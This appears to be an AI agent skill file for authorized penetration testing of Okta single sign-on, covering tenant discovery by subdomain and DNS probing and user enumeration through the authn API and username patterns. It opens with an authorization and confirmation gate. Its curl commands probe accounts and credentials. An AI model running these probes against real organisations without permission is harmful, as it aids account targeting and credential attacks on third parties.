okta-attack

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use this skill

Trigger when:

- DNS shows `<tenant>.okta.com` or `<tenant>.okta-emea.com` (EMEA region)

- Login flow redirects to `<tenant>.okta.com/login` or `/app/<app_id>/sso/saml`

- Web pages reference `/signin/customize`, `oktapreview.com`, or `auth-js-sdk`

- Recon notes "uses Okta for SSO"

- A target has `*.okta.com` SAN in TLS cert

- Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

- Entra ID (use `m365-entra-attack` instead)

- Google Workspace (use `google-workspace-attack` — not yet built)

- ADFS (different protocol, on-prem)

---

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

---

User enumeration

Method 1 — `/api/v1/authn` differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via `/api/v1/authn` — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — `/api/v1/users/me/factors` timing

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.

Method 3 — Sign-in widget JS endpoint

curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use `firstname.lastname` or employee-id. Test pattern guesses:

firstname.lastname@target.com
firstname_lastname@target.com  
flastname@target.com
employeeID@target.com